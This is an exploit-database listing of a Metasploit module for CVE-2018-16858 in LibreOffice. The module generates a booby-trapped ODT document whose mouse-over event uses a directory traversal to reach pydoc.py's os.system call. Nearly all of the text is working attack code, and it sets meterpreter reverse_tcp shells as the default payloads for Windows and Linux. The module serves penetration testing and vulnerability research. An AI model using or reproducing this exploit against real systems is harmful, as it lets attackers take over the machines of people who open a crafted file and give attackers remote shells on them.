LibreOffice < 6.0.7 / 6.1.3 - Macro Code Execution (Metasploit)

2019-04-18 16:05:04

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Powershell
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'LibreOffice Macro Code Execution',
'Description' => %q{
LibreOffice comes bundled with sample macros written in Python and
allows the ability to bind program events to them. A macro can be tied
to a program event by including the script that contains the macro and
the function name to be executed. Additionally, a directory traversal
vulnerability exists in the component that references the Python script
to be executed. This allows a program event to execute functions from Python
scripts relative to the path of the samples macros folder. The pydoc.py script
included with LibreOffice contains the tempfilepager function that passes
arguments to os.system, allowing RCE.

This module generates an ODT file with a mouse over event that
when triggered, will execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alex Inführ', # Vulnerability discovery and PoC
'Shelby Pace' # Metasploit Module
],
'References' =>
[
[ 'CVE', '2018-16858' ],
[ 'URL', 'https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html' ]
],
'Platform' => [ 'win', 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
[
'Windows',
{
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Payload' => 'windows/meterpreter/reverse_tcp',
'DefaultOptions' => { 'PrependMigrate' => true }
}
],
[
'Linux',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Payload' => 'linux/x86/meterpreter/reverse_tcp',
'DefaultOptions' => { 'PrependFork' => true },
'CmdStagerFlavor' => 'printf',
}
]
],
'DisclosureDate' => "Oct 18, 2018",
'DefaultTarget' => 0
))

register_options(
[
OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt'])
])
end

def gen_windows_cmd
opts =
{
:remove_comspec => true,
:method => 'reflection',
:encode_final_payload => true
}
@cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts)
@cmd << ' && echo'
end

def gen_linux_cmd
@cmd = generate_cmdstager.first
@cmd << ' && echo'
end

def gen_file(path)
text_content = Rex::Text.rand_text_alpha(10..15)

# file from Alex Inführ's PoC post referenced above
fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-16858', 'librefile.erb'))
libre_file = ERB.new(fodt_file).result(binding())
libre_file
rescue Errno::ENOENT
fail_with(Failure::NotFound, 'Cannot find template file')
end

def exploit
path = '../../../program/python-core-3.5.5/lib/pydoc.py'
if datastore['TARGET'] == 0
gen_windows_cmd
elsif datastore['TARGET'] == 1
gen_linux_cmd
else
fail_with(Failure::BadConfig, 'A formal target was not chosen.')
end
fodt_file = gen_file(path)

file_create(fodt_file)
end
end

Fixes

No fixes

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